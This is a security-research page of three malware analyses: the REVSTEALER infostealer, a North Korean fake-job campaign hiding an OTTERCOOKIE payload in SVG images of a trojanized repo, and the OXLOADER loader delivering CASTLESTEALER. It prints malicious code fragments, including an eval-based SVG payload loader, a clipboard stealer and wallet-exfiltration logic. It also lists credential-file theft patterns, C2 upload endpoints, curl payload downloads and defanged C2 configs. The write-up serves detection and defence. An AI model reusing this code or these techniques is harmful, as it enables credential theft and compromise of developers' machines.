Daniel Stepanic - Elastic Security Labs

REVSTEALER ramps up: analysis of up-and-coming infostealer

Daniel Stepanic,Salim Bitam,Jia Yu Chan — Wed, 02 Sep 2026 00:00:00 GMT

Elastic Security Labs is tracking an emerging infostealer, REVSTEALER, under REF2859. This family has gained momentum in recent months, with higher distribution volume, and has emerged as a formidable threat, featuring a comprehensive credential harvester, an embedded sandbox scoring system, and a Polygon blockchain-based dead drop for resilience. Beyond credential theft, REVSTEALER targets gaming platforms for additional monetization; the developer clearly understands that victim accounts on these platforms hold real monetary value in resale markets.

Gen Threat Labs first covered REVSTEALER earlier this summer, detailing its core features. In this research publication, we will walk through how it’s distributed, cover its main features, and share observed infrastructure. For readers who prefer more in-depth technical details on the malware, we are also releasing a whitepaper covering the family. We are also releasing an IDAPython string decryption script for anyone working with samples directly.

The white paper is located here and contains an in-depth analysis of REVSTEALER and REF2859.

Key takeaways

Large volume of samples (~4700) on VirusTotal over the past year, with varied submission context
Comprehensive stealer component targeting browsers, VPN/chat applications, password managers, gaming platforms. Includes ABE debugger-based bypass.
Weighted anti-analysis checks (sandbox scoring system)
EtherHiding - Polygon-based dead drop for resilient infra swapping
Tasking delivers four modules, not previously documented publicly
Widespread use of VMProtect packer in most REVSTEALER samples; unpacked samples display a verification prompt similar to LummaStealer and AuraStealer

Attack vector

Gen Threat Labs documented REVSTEALER reaching victims through a social-engineering path targeting gamers by advertising free cheats and mod menus. Building on this reporting, we identified at least 17 YouTube channels promoting the two related domains elitecheatsx[.]live and resight-cheats[.]net.

In the campaigns we observed, this took the form of YouTube account takeovers. Existing channels with established subscriber bases were hijacked and used to post short (1–2 minute) AI-generated videos demonstrating the "cheats" and linking viewers to the malicious sites.

The game-cheat campaign is only one observed presentation. Related VirusTotal submissions used names and file metadata that impersonated unrelated, recognizable software, including Slack, qBittorrent, Steel Series GG, Blender, and many more. This breadth suggests the builds are packaged for multiple lure themes, not just gaming-focused campaigns. We also ran a Retrohunt with our YARA rule, which returned about 4,700 matching samples across VirusTotal’s database over the past year.

Many of the samples we analyzed were packed with VMProtect, but the malware code was mostly recoverable through memory dumping.

Features

Development

Across its design, REVSTEALER reflects a developer building for long-term operational use. The malware incorporates features such as self-deletion, indirect syscalls, API hashing, string encryption, mechanisms to avoid user-mode hooks, and custom exception handling.

Unlike most commodity stealers, REVSTEALER seems to put more effort into validating its targets; this is evident in its cryptocurrency wallet harvester, which uses a multi-layer architecture with a discovery engine followed by a collector that applies wallet-specific extension filters to extract only relevant files.

CIS exclusion checks

Before REVSTEALER qualifies the victim machine, it first checks the machine's default/system languages and keyboard layout using a custom FNV-1a hash lookup. It retrieves each value from the machine, hashes it, and compares it against an embedded table of precomputed values representing the Commonwealth of Independent States (CIS) locales. If any of these three checks match, the malware terminates.

Sandbox scoring system

To determine whether the malware is running in a genuine environment, REVSTEALER integrates a custom sandbox scoring system using ten checks. Each check assigns a specific number of points based on sandbox characteristics such as low total physical RAM or CPU core counts.

If the total score is 7 or higher, the malware determines the machine is likely running in a sandbox environment and then self-terminates.

The following checks are used in this feature:

Process Blocklist (Type 0)
CPU Core Count (Type 1)
RAM Threshold (Type 2)
GPU / PCI Vendor Check (Type 3)
Username / Computer Name Blocklist (Type 4)
System Uptime (Type 5)
Sleep / Timing Check (Type 6)
Media Foundation Check (Type 7)
CPUID Check (Type 8)
Virtualization Check (Type 9)

Several of these checks hash values such as process names or usernames using a custom FNV-1a hash algorithm and compare the result against an embedded table. This method ensures no plaintext strings appear in the binary and prevents static analysis tools from seeing them.

Credential harvesting

REVSTEALER targets browser credentials and cookies, cryptocurrency wallets, and browser extensions. This includes 225 Chromium extension identifiers spanning cryptocurrency wallets and password managers, alongside 51 standalone wallet applications. It also collects data from messaging clients, gaming platforms, VPNs, FTP clients, OBS Studio, Windows Sticky Notes, and 2FA applications, along with selected documents and configuration files from user directories and non-system drives.

REVSTEALER’s Chromium support includes an implementation for bypassing App-Bound Encryption. To obtain the App-Bound key, it launches a browser process under debugger control, locates code associated with App-Bound decryption, and sets a nearby hardware breakpoint. When the breakpoint triggers, the malware reads the decrypted key directly from the browser’s memory. The implementation was likely influenced by the public ElevationKatz project (under ChromeKatz).

Payload watermarking

The developer places a 16-byte watermark at the end of raw payloads and validates it at runtime. Packed builds do not trigger the check because the watermark is no longer located at EOF. When a watermarked raw copy is launched, a verification window requires the user to enter a random six-character token in order to proceed with execution. This discourages distribution of unprotected payloads while also hindering sandbox analyses. Similar techniques have been observed in Lumma Stealer and AuraStealer.

Polygon dead drops as fallback

Each REVSTEALER build contains a primary C2 address and a Polygon smart-contract address. If the primary server is unavailable, REVSTEALER queries up to 5 public Polygon JSON-RPC endpoints, reads data from the contract, and decrypts a fallback C2 address using an embedded AES key.

Below are examples of extracted C2 hosts and Polygon dead drop configurations from three REVSTEALER samples with different themes.

Sample sha-256: 8b33e0f32c42a317e3d9cd67d5a6dc68e91a6cf9dd44742162858e7d83cf2073
File Name: SteelSeriesGG.exe
Configuration(c2=b'polygon.iwmukj[.]xyz:443', polygon_contract_address=b'0x7e4126ADFE6679B3613F629CD49162Fb08fc53Bd', contract_function_selector=b'0xdbefdad6', contract_return_aes_key='f07666ac22dfa1a361b8a8576baf69eadaf15431db9f3c34e93334d8d2f8d691')

Sample sha-256: bd97d5cab2d09b001d1b9e08890bce1a2b2cf8542a4b31c86b2def59328cafb2
File Name: slack.exe
Configuration(c2=b'polygon.mnyhgxda[.]xyz:443', polygon_contract_address=b'0x0EC6a6D31b36271eBD06450EA98c84eBa8a191d5', contract_function_selector=b'0xd21368b4', contract_return_aes_key='5c30efd5b9ff75023c3813705f5c47feccc496f439b24b3e572db4c3b08dffe3')

Sample sha-256: 1617552169df805405b1bb70f742d6eac5af342f31c6e39ff6b9613bd2392354
File Name: qBittorrent.exe
Configuration(c2=b'static4.livelab[.]one:443', polygon_contract_address=b'0x49cE5712164755ed212209bc71539bBc6fCFF541', contract_function_selector=b'0x071258c6', contract_return_aes_key='83f5b4ca629681abab2b9680472a304572a8c91b4a8ccc1189fbf58c6186db09')

Looking up one of the contract addresses on OKLink, there is an initial transaction to create a Polygon contract (bytecode prefix 0x60806040), initialized with an encrypted fallback C2 endpoint.

Victim profiling

Before any stealing components are launched, REVSTEALER profiles the victim machine, collecting the following data:

| Name | Note | | :---- | :---- | | System/OS info | Current timestamp, machine fingerprint, system locale, CPU info, RAM, Windows OS version, GPU name, host name, username, token integrity of user, timezone, keyboard layout, screen resolution | | Environment variable dump | Uses GetEnvironmentStringsW to dump full environment block that can commonly hold sensitive material | | Process listing | Collects all running processes | | Installed applications | Collects all installed applications via Windows uninstall registry key path (SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall) | | Windows clipboard | Collects the latest clipboard data using OpenClipboard / GetClipboardData | | Screenshot capture | Captures a full screenshot of the victim machine |

Gaming platforms

REVSTEALER has a deliberate focus on gaming platforms, harvesting sensitive materials, authentication tokens, and session cookies from popular platforms such as Blizzard’s Battle.net, EA Desktop, and Steam, along with targeting specific games such as Roblox and Minecraft. Instead of broadly sweeping the entire victim machine, the malware targets file paths, looking for configuration/settings files for each platform/game. For some of these targets, such as Roblox, REVSTEALER uses CryptUnprotectData to decrypt the user’s session cookie, enabling full account takeover without the user’s password.

The following table lists the gaming targets and their paths:

| Platform/Game | File path | | :---: | ----- | | Battle.net (Blizzard) | %LOCALAPPDATA%\Battle.net\Battle.net.config | | Battlestate Games | %APPDATA%\Battlestate Games\BsgLauncher\settings | | Electronic Arts | %LOCALAPPDATA%\Electronic Arts\EA Desktop\*.ini | | Roblox | %LOCALAPPDATA%\Roblox\LocalStorage\RobloxCookies.dat | | Steam | %LOCALAPPDATA%\Steam\local.vdf, %LOCALAPPDATA%\Steam\loginusers.vdf | | Minecraft | %USERPROFILE%\intentlauncher\launcherconfig
%USERPROFILE%\.lunarclient\settings\game\accounts.json
%APPDATA%\.minecraft\TlauncherProfiles.json
%APPDATA%\.feather\accounts.json
%APPDATA%\.minecraft\meteor-client\accounts.nbt
%APPDATA%\.minecraft\Impact\alts.json
%APPDATA%\Badlion Client\accounts.json
%APPDATA%\.minecraft\launcher_accounts.json
%APPDATA%\.minecraft\launcher_profiles_microsoft_store.json |

Four follow-on modules delivered by C2 tasking

REVSTEALER can receive additional executable content through C2 tasks. We recovered four related, self-contained payloads that extend its capabilities beyond credential theft.

Despite their distinct roles, all four REVSTEALER modules follow a common design pattern: obfuscated configuration, VMProtect-style protection, and Polygon smart contracts used as dead drops for replaceable settings, including C2 endpoints and XMRig’s command line.

REVSTEALER technical white paper

Elastic Security Labs presents a comprehensive technical analysis of REVSTEALER, covering its full capabilities, network communications, anti-analysis, sandbox scoring system, EtherHiding techniques, and follow-on modules.

You can find the technical white paper here.

String decryption script for REVSTEALER in IDA Pro

Using the nightMARE framework, our team is releasing an IDAPython script available for download here. This tool can place decrypted strings in the IDA Pro decompiler to help analysts pinpoint the malware’s functionality.

REVSTEALER and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Detecting and preventing REVSTEALER

Detection rules for REVSTEALER

Network Activity to a Suspicious Top Level Domain

Prevention rules for REVSTEALER

YARA rules for REVSTEALER

Elastic Security has created YARA rules to identify this activity.

Windows.Trojan.RevStealer.yar

Observables and indicators of compromise

This research discusses the following observables.

All observables are also available for download.

References

The following were referenced throughout the above research:

Gen Threat Labs REVSTEALER coverage on X

New North Korean campaign uses fake coding interviews to steal developer credentials

Daniel Stepanic — Sat, 18 Jul 2026 00:00:00 GMT

Elastic Security Labs found a new Contagious Interview campaign, tracked as REF9403, hiding malware inside SVG image files using steganography. To our knowledge, this specific infection chain has not been previously documented. We found it after the DPRK-aligned group targeted our own community Slack workspace with a fake job posting and a "coding challenge" project.

Any user who ran the project ended up with a four-stage payload aligned with OTTERCOOKIE: a browser credential and crypto wallet stealer, a file stealer, a Socket.IO-based remote access trojan (RAT), and a clipboard stealer. This campaign reinforces that developers remain a prime target, where the compromise of a single individual can provide the initial access needed to enable far-reaching supply chain attacks against downstream organizations.

Key takeaways

Elastic Security Labs discovers new activity aligned with Contagious Interview targeting developers
Campaigns involve coding challenges and take-home assignments with benign-looking projects containing malicious backdoored code
Projects hide payloads with steganography in SVG image files
The distributed malware shares technical and behavioral similarities with OTTERCOOKIE

How Elastic discovered this malware campaign

This investigation started differently from most of our previous research. Instead of using telemetry to surface interesting threats, we were alerted to suspicious activity targeting members of our community Slack workspace with socially engineered, ad hoc job offers. For background, we use the community Slack platform to engage with and solve problems for our users, focusing on providing product support and syncing on new updates.

We’ve reported on this technique several times: threat actors targeting developers in open forums with lures of coding side-work. The lucrative offers lead to the requirement to load specific libraries, tools, scripts, etc., into the code the developer is crafting. These components are created by the threat actors and once they’re executed by the developers, they are able to load additional malware and gain remote access to the developer host. From there, the threat actors can steal credentials, keys, wallets, or use the access to gain access to additional systems. We did not find evidence that the lures were targeted at Elastic users specifically, but any open forum where developers congregate is a potential watering hole.

On May 26, 2026, a user named Maxwell posted in our #jobs channel, stating that they were upgrading an e-commerce platform and were looking for an experienced developer to help with the project. They strategically moved their interactions with interested users into direct messages (DM).

In these direct messages, Maxwell requested that users perform a test challenge as part of the job offer. These recipients were given a trojanized repository that, when executed, contained malware that exfiltrated sensitive files and credentials and configured a Socket.IO backdoor.

Building on this initial case, we found multiple campaigns exhibiting the same underlying behavior. These trojanized repositories at the time of writing have zero detections and are not flagged by any AV vendors:

next-ecommerce-private-main.zip
shopping-platform-main.zip
ecommerce-platform.zip
ecommerce-platform-main.zip
shopping-platform.rar
shop-main.zip
ecommerce-main.zip

These fake challenges operate similarly, containing fully functional code. Our first sample was a Next.js e-commerce template that was copied from GreatStackDev called GoCart.

The threat actors tampered with this repository by inserting small snippets of malicious code at various points and using benign variable names to hide their intent. One of the major contributors to this scheme was their use of steganography in SVG images to hide chunks of the malware. While these legitimate-looking projects run perfectly fine, the malicious code is triggered silently behind-the-scenes.

The payloads are split into Base64 fragments inside HTML comments across every SVG flag image inside an assets directory. These files look like normal images of country flags (AE.svg, AF.svg), but each file contains an injected comment block with Base64-encoded data.

A JavaScript file in the repo (serverValidation.js) reassembles these chunks from every flag in alphabetical order to build the malicious payload.

function validation() {
  const dir = path.join(process.cwd(), "assets", "flags");
  const files = fs.readdirSync(dir)
    .filter(f => f.endsWith(".svg"))
    .sort((a, b) => a.localeCompare(b, "en")); 
  const parts = [];
  for (const f of files) {
    const raw = fs.readFileSync(path.join(dir, f), "utf8");
    const m = raw.match(//);
    parts.push(m ? m[1].trim() : "");
  }
  return parts.join("");
}

The malware then decodes this data with a custom Base64-decoding function, Check(), and then uses eval(), avoiding simple detections that might trigger when using the Buffer.from method or the atob() function.

function runServerValidation() {
  try {
    eval(Check(validation()));  
  } catch (err) {}
}

On every server start, the file (server/index.js) calls runServerValidation() after the initial middleware setup. As defined in the project's package.json, both npm run dev and npm start launch server/index.js, so the payload executes on each server boot.

 "name": "gocart",
  "version": "0.1.0",
  "private": true,
  "scripts": {
    "dev": "concurrently -n client,server -c blue,green \"npm run dev:client\" \"npm run dev:server\"",
    "dev:client": "next dev --turbopack",
    "dev:server": "node server/index.js",
    "build": "next build",
    "start": "concurrently -n client,server -c blue,green \"next start\" \"node server/index.js\"",
    "lint": "next lint"
  },

Unfortunately, this kind of scam is working against developers. Some users have reported suspicious behavior after running the test challenges, while others have pushed these repos to GitHub unknowingly, not aware of the backdoored code.

Execution chain

DPRK attribution: why this links to Contagious Interview

Our team collected each trojanized repository, extracted the C2 servers, and analyzed each chain. The malicious payloads overlap with previous public reporting on DPRK/Contagious Interview, based on code similarity, behavior and related infrastructure.

The main payload in these repositories shares code similarity with the malware known as OTTERCOOKIE, first discovered by NTT Security in December 2024. Many of the strings, behavior, and script layout match those in previous publications, such as this blog post from Microsoft. While the malicious JavaScript code contains slightly different modifications, the underlying behaviors remain, with many matching strings.

The observed API endpoints in our samples also match recently linked infrastructure by the JFrog Security research team:

/api/service/makelog
/api/service/process/
/cldbs
/upload

Why do OTTERCOOKIE and BEAVERTAIL overlap in security research?

Analyzing this threat actor's activity is complicated by overlapping capabilities among related malware families. Their rapid evolution makes clean distinctions hard to maintain. Historically, BEAVERTAIL functioned as a first-stage stealer and downloader while OTTERCOOKIE served as a later-stage, C2-driven infostealer and RAT. Our observed samples reflect a convergence toward an all-in-one package that combines a Socket.IO-based RAT, a clipboard stealer, and a consolidated credential, wallet, and file stealer, with no Python stage present. On this basis, we lean toward using the OTTERCOOKIE naming convention, while noting that the boundary between the two is no longer clear.

Malware analysis

The following section will cover the technical analysis of the malware.

How obfuscator.io hides the malware's code

This JavaScript malware is protected by obfuscator.io, which uses various techniques to prevent static analysis, such as string array extraction with index-based lookups to hide strings, a self-rotating array for anti-tampering, and other toolmarks, such as an infinite loop using while (!![]).

const a0_0x33a083 = a0_0x1c05;
(function(_0x52f7cc, _0x4093b7) {
    const _0x388163 = a0_0x1c05, _0x27de29 = _0x52f7cc();
    while (!![])  {
        try {
            const _0x567e1 = parseInt(_0x388163(0x1cb))/0x1+-parseInt(_0x388163(0x160))/0x2 * ( - parseInt(_0x388163(0x135))/0x3)+parseInt(_0x388163(0x13e))/0x4 * ( - parseInt(_0x388163(0x141))/0x5)+parseInt(_0x388163(0x1d3))/0x6 +  - parseInt(_0x388163(0x1c9))/0x7*(-parseInt(_0x388163(0x184))/0x8) + parseInt(_0x388163(0x12f))/0x9*(-parseInt(_0x388163(0x1c6))/0xa) + parseInt(_0x388163(0x14f))/0xb*(-parseInt(_0x388163(0x16a))/0xc);

There are 4 main modules that get launched at the start of execution:

Browser credential / crypto wallet stealer
File stealer
Socket.IO-based RAT
Clipboard stealer / Windows PE dropper

How the browser credential and crypto wallet stealer module works

This first module exfiltrates browser-based credentials and crypto wallet extension data across Windows, macOS, and Linux platforms. This module sets its process title to npm-cache, masquerading as a benign npm caching process to avoid suspicion in Windows Task Manager or process listings. The malware detects the operating system at runtime, then enumerates the following browsers based on their file paths:

| Operating System | Paths | | ----- | ----- | | Windows | Chrome, Edge, LT Browser, Brave under %LOCALAPPDATA% | | macOS | Chrome, Brave, Opera, LT Browser, Edge under ~/Library/Application Support/ | | Linux | Chrome, Edge, LT Browser, Brave under ~/.config/ |

For each browser profile found, the malware exfiltrates saved credentials (Login Data), autofill data (Web Data), and cryptocurrency wallet extension databases (Local Extension Settings).

This data is submitted via multipart HTTP POST requests to the /upload endpoint on the domain ldb.rightwidth[.]dev using the User Agent axios/1.18.1.

Below is an example of the network request:

OTTERCOOKIE contains a hard-coded list of cryptocurrency wallet browser extension IDs. If a matching extension is found, the malware uploads the associated LevelDB stores to the C2 server via POST requests to the /cldbs endpoint of the domain (ldb.rightwidth[.]dev).

In our sample, the developer has added a prioritization check if the found extension path is in the first 8 targeted wallets. If so, these file paths receive special treatment: they are added to a monitored path array and trigger a separate workflow in which they are acknowledged by the C2 server and retried until successful. The remaining wallet extensions use a fire-and-forget approach with no acknowledgment or retries.

         if (wps["indexOf"](_0x280b81) < 0x8) {
            if (mp["indexOf"](_0xb30b7f) == -0x1) mp["push"](_0xb30b7f);
            const _0x109dd4 = await CLDBS(_0xb30b7f + "/ldb"),
              _0x505c6c = mp["indexOf"](_0xb30b7f);
            _0x109dd4 == "ok" && mp["splice"](_0x505c6c, 0x1);
          }

The list of 25 targeted browser extensions used by this module is in the Appendix.

For macOS machines, the system keychain database is also exfiltrated through this module.

(async () => {
  const _0xcb5337 = a0_0x4280ea;
  (os["platform"]() == "darwin" &&
    (await uf(process.env.HOME + "/Library/Keychains/login.keychain-db")),
    await run());
})();

What files this malware steals from developer machines

This module performs a recursive file sweep targeting various documents and files from developer machines. On Windows, this module is more aggressive and has a larger blast radius, while on macOS/Linux, drive enumeration is skipped and it only targets home directories.

Before scanning, the malware enumerates the mounted drives on the system using the following WMI query: wmic logicaldisk get name

Next, the malware scans each collected root drive from the previous wmic query or the home directories on other platforms, searching for the following files whose names match a set of glob patterns:

*.env*, *.doc, *.docx, *.pdf, *.md, *.rtf, *.odt, *.xls, *.xlsx, *.txt, *.pem, *.ini, *.secret, *.png, *.jpg, *.jpeg, *.webp, *.json, *.ts, *.js, .zsh_history, .bash_history, *.csv

In addition, any file whose path contains one of the following credential-store or shell-history locations is collected regardless of its extension:

.aws, .azure, .config, .ssh, .bash_history, .zsh_history

Ultimately, this file stealer targets sensitive information stored on developer machines, including credentials, configuration files, shell histories, documents, images, and source code.

If any of the file patterns get matched, the files are sent through POST requests to the /upload endpoint using the domain (upload.rightwidth[.]dev). The files themselves aren’t additionally encrypted or compressed by the malware when sent over the network.

Below is an example of a .txt exfiltrated through this module:

The following file extensions and file paths are excluded from this file exfiltration module. There is a deliberate scoping decision in which the threat actors seek to maximize their signal and minimize noise. The list also confirms that this group is in tune with the current developer ecosystem, avoiding AI coding tooling extensions such as .claude, .cursor, .gemini, or .windsurf.

"node_modules", "npm", "hooks", "android", "example", "AppData", "vendors", "vendor", "public", "css", "less", "scss", ".cache", ".conda", ".move", ".tldrc", ".android", ".avm", ".brownie", ".3T", ".node-gyp", ".gk", ".claude", ".cocoapods", ".conda", ".cursor", ".devctl", ".eigent", ".nvm", ".stream", ".steam", ".windsurf", ".gnupg", ".pm2", ".snipaste", ".vue-cli-ui", ".cursor", ".vscode-server", ".cargo", ".local", ".rustup", ".pub-cache", ".Trash", ".dll", ".dmg", ".exe", ".sh", ".bin", "module", ".map", ".jar", ".original", ".yml", ".yaml", "flutter", "llama", ".ppt", ".cl", ".psd", ".pak", ".pages", ".gemini", ".pearai", "extension", "media", ".key", ".var", ".sst", ".pkg", ".pack", ".msi", ".apk", ".aep", ".3mf", ".big", ".bundle", ".hpp", ".cdr", ".car", ".cfa", ".cab", ".mp4", ".wma", "DCIM", ".webm", ".dylib", ".nvm", ".sol", ".mp3", ".sys", ".avi", ".so", ".sqlite", ".dat", ".jar", "anaconda3", ".yarn", "build", ".next", ".git", ".gitignore", ".github", "cache", "tmp", "temp", "dist", "library", "lib", "mysql", "imgs", "img", "images", "image", "plugin", "plugin", ".vscode", "package-lock.json", ".pyp", ".myi", ".rustup", ".docker", "manifest", ".expo", "AppData", "windows.old", "pkg", "package", "packages", "openzeppelin", "prisma", "pkgs", "fonts", "debug", "background", "wallpaper", "_locales", "locale", "locales", "Program\x20Files", "Program Files (x86)", "ProgramData", "All Users", "All User", "Windows", "Microsoft", "$RECYCLE.BIN", "Visual Studio Code.app",

Socket.IO-based RAT

This third stage establishes a persistent Socket.IO command-and-control channel to the domain (controller.rightwidth[.]dev) over HTTPS. The malware ensures only one instance runs by enforcing a PID lock by writing its own process ID to a lock file in the user’s directory (C:\Users\jim\.npm\vhost.ctl).

The malware includes VM/sandbox detections for the different platforms. If there is a match, the malware places a tag in the C2 response with (VM) but does not stop or prevent it from running. This is likely used as a filtering mechanism to prioritize real victim machines over sandboxes/VMs.

The following table defines the VM detection mechanisms for each platform:

A registration beacon is sent to the domain (controller.rightwidth[.]dev) using endpoint /api/service/process/. This includes the system host information, letting the threat actor know a new victim has been added.

The malware uses a logging channel (/api/service/makelog), which keeps the operator informed of the implant’s health and any errors.

The operator sends a command event containing a shell command, which the implant executes via child_process.exec() and returns the output as a message event over the same Socket.IO connection. This gives the operator interactive shell access to the victim machine in real time. Below is an example response from a victim machine running whoami:

Clipboard stealer and Windows payload dropper

The fourth module contains two separate capabilities: Windows dropper functionality and a clipboard stealer.

The dropper component is Windows-only and downloads three second-stage binaries via curl from file.rightwidth[.]dev, each disguised as a .txt file, then renamed to .exe before execution. The C2 server was unavailable at the time of analysis, so the payloads could not be retrieved. Based on their naming convention, they may relate to additional discovery or enumeration capabilities, but this is unconfirmed.

hostService.txt -> hostService.exe
printSvc.txt -> printSvc.exe
dhcpSvc.txt -> dhcpSvc.exe

The clipboard functionality is only available on macOS and Windows. The malware polls every 500ms for new clipboard content, exfiltrating any changes to the C2 server (rightwidth[.]dev) via POST requests using endpoint (/api/service/makelog/).

For macOS devices, pbpaste is used to retrieve the clipboard contents from victim machines.

const getClipboard = async () => {
    try {
        if (os.platform() === "darwin") {
            return execSync("pbpaste", { encoding: "utf8" }).trim();
        }
        if (os.platform() === "win32") {
            return execSync("powershell -NoProfile -NonInteractive Get-Clipboard", {
                encoding:    "utf8",
                windowsHide: true,
            }).trim();
        }
        // Linux: no implementation — returns null every poll, loop is a no-op
        return null;
    } catch (_) {
        return null;
    }
};

On Windows, a new PowerShell process is spawned every 500ms via Get-Clipboard to retrieve the current clipboard contents. Below is an example process tree showing the clipboard module in action:

Conclusion

Developers remain a high-value target, with campaigns like these likely seeking to establish an initial foothold that can ultimately enable larger supply chain compromises. The success of these operations underscores how compromising an individual developer can provide a path to much broader organizational impact.

By sharing our findings, we hope to help organizations and developers recognize these tactics earlier, identify similar activity in their own environments, and take action before an initial compromise escalates into a wider intrusion.

Contagious Interview malware: MITRE ATT&CK techniques and tactics

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

How to detect and prevent this Contagious Interview malware campaign

Detection and prevention rules

Observables

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

Appendix: targeted cryptocurrency wallet extension IDs

Lost in relocation: analysis of a new loader distributing CASTLESTEALER

Daniel Stepanic,Jia Yu Chan — Fri, 19 Jun 2026 00:00:00 GMT

A previously undocumented Windows loader tracked as OXLOADER is delivering the CASTLESTEALER infostealer via malicious Google Ads, with low detection rates across static engines and sandbox detonations. The loader uses several obfuscation layers (control-flow flattening, opaque predicates, mixed Boolean-Arithmetic), self-modifying decryption stubs, and abuses the Windows .reloc section to stage shellcode.

Elastic Security Labs identified OXLOADER in an active campaign targeting one of our customers; CIS-region and Russian-language exclusions point to a financially motivated, Russian-speaking threat actor. We have found no prior public reporting on this family.

Key takeaways

Elastic Security Labs discovers new loader (OXLOADER)
OXLOADER observed in campaigns distributing CASTLESTEALER via malicious Google Ads
CIS-region exclusion and Russian language checks suggest a Russian-speaking, financially motivated threat actor
Low detection rates across static engines and sandbox detonations
Elastic Defend stops the entire attack chain using advanced prevention capabilities

How malvertising delivered OXLOADER to victims

OXLOADER is distributed via malicious Google Ads impersonating Node.js. Victims are redirected through an intermediary domain to a Storj-hosted batch script, which downloads and executes OXLOADER.

The infection began when the user searched for an lts version of node.js and clicked a sponsored result leading to node-js[.]prentiva99[.]info, a malicious landing page designed to impersonate a legitimate Node.js deployment platform. The threat actor operated a Google Ads campaign targeting US-based victims; the ad was last shown on Apr 23, 2026, and the site is now offline. The advertiser was registered under the verified name ВОЛОДИМИР ТЕРЕЩЕНКО, based in Ukraine. Whether this reflects the actual operator, a front account, or a purchased identity remains unclear. On May 14, 2026, the advertiser along with their associated ad campaigns were removed from Google entirely.

Upon interaction, the user was redirected through app[.]miloyannopoulos[.]com/download?subid1=download, which responded with a 302 Found to the payload URL link[.]storjshare[.]io/raw/jux4e4ky5mruo4jkxsssp42sau4q/ruslan/BATPackageBuilderSetup.bat. This delivered a Windows batch script, hosted on Storj’s legitimate link-sharing service, which the threat actor abused to evade domain-based reputation filtering.

The batch script displays a fake software installation wizard UI, immediately downloads the next-stage executable from the Storj URL link.storjshare[.]io/raw/jwwvr4oskkkjsgevt774ta62ehya/ruslan/aBsvwbdas.exe via PowerShell, and launches it with -Verb RunAs to trigger a UAC elevation prompt.

Following execution of the Batch script, Elastic Defend detected malicious behavior (policy was set to detect only), triggering multiple behavioral rules including Microsoft Common Language Runtime Loaded from Suspicious Memory, hinting at a .NET-based payload consistent with CASTLESTEALER.

The following is the execution graph of the attack chain from payload download to CASTLESTEALER deployment.

OXLOADER malware loader: technical analysis

The first OXLOADER sample our team analyzed masquerades as the popular tool, API Monitor from rohitab.com. Due to the heavy presence of legitimate code and code-hiding techniques, this loader is able to fly under the radar against static file analyzers.

How OXLOADER unpacks itself at runtime

The malware begins executing during the CRT initializer phase, before any user code is run. The CRT function cinit() invokes initterm(), which walks the C++ initializer table (__xc_a → __xc_z) calling each entry. The malware developer has hijacked one of these entries, pointing to a function that makes a RegisterClipboardFormatW() call before tail-jumping into the first decryption stub.

The loader uses self-modifying techniques with several decryption stubs to unroll itself. Below is an example of a decryption stub being patched in during runtime, before jumping to it.

After the patching has taken place, the loader decrypts a 28,233-byte region. Each byte is decrypted with a single-byte XOR key that updates after every iteration: the just-decrypted plaintext byte is added to the key, which is then used to decrypt the next byte. This similar decryption routine runs three times in total, each over a different region.

Obfuscation techniques used to evade static detection

OXLOADER breaks automated function-boundary detection in binary analysis tooling such as IDA Pro using four layered obfuscation techniques: control-flow flattening (CFF), mixed Boolean-Arithmetic (MBA), opaque predicates, and function chunking across non-contiguous code regions. Functions are stitched together with unconditional jumps, and some regions are reached through indirect jumps whose target addresses are computed at runtime via MBA arithmetic. The result is that IDA Pro cannot reliably reconstruct function boundaries, requiring manual fixes.

The loader decrypts various strings at runtime using the following string decryption algorithm:

uint32_t obf_xor_a1_with_a2_plus_33FDA(uint32_t a1, uint32_t a2) { 
return a1 ^ (a2 + 0x33FDA); 
}

After the code is fully unpacked/decrypted, the malware combines this string decryption function with an Adler-32 API hashing algorithm to dynamically resolve its imports.

How does OXLOADER evade sandbox and VM detection?

After resolving its APIs, OXLOADER performs various checks to ensure the machine executes in a clean environment, avoiding execution in sandbox environments.

The first check attempts to connect to a deliberately malformed network resource (*72s@1s) using mpr!WNetAddConnection2W. This technique appears to defeat emulation/sandboxes that may hook or return a successful connection unconditionally. The malware developer verifies this call by accessing the TEB directly to retrieve the LastErrorValue. The loader expects this error code to be ERROR_BAD_NAME (0x43), if the error code is anything other than this value, the malware takes the failure branch and stops execution.

The second check is an anti-sandbox test based on the processor count: the loader requires the host to have at least 3 CPUs to continue. Many sandboxes and analysis VMs are provisioned with one or two CPUs to conserve resources, so this threshold filters out these automated analysis environments.

The next check uses GlobalMemoryStatusEx() to verify that the host has at least 3 GB of available physical memory.

A further check uses WMI to query the system display's refresh rate, executing the WQL statement SELECT CurrentRefreshRate FROM Win32_VideoController and comparing the returned value (in Hertz) against a threshold of 20. Physical monitors usually report around 60 Hz or higher, while headless and default-virtualized configurations typically report 0 or 1, and values below 20 cause the loader to abort.

Geographic and language exclusions

The final two checks halt execution if the host is located in a CIS country or configured for the Russian language. The first check in this category uses GetUserGeoID to retrieve the system’s geographic region and compares it against a hardcoded list of CIS country GEOIDs.

The second check uses GetUserDefaultUILanguage and matches against LANGID (0x419 - Russian, Russia), the standard configuration for a Russian language Windows installation.

Shellcode staging via .reloc section and OCX file

After all the checks have passed, the malware makes a copy of the Windows DirectUI Engine DLL (C:\Windows\System32\dui70.dll), storing it in a temporary location using a randomly generated name with the .ocx extension (PFHemkxVk.ocx). This extension choice inspired the OXLOADER family name.

OXLOADER then creates a new section named (.xtext) in this target DLL (PFHemkxVk.ocx).

This new section (.xtext) is configured with RWX (read/write/execute) protections in preparation to store and execute the next stage of the malicious code.

This updated DLL (PFHemkxVk.ocx) is then loaded into the existing loader process via LoadLibraryA.

In a normal Windows executable, the .reloc section contains a table of IMAGE_BASE_RELOCATION blocks that the Windows loader applies to patch absolute addresses when the image is loaded at an address other than its preferred base. In this sample, the malware developer is using
the .reloc section to house malicious code instead of the base relocation entries. This is a strong static-analysis red flag: legitimate toolchains do not emit code into the .reloc section.

This shellcode from the .reloc section is then copied to the newly created section (.xtext) in the OCX file, and the loader then calls this code.

As observed previously, there is another decryption stub used to unpack this next stage.

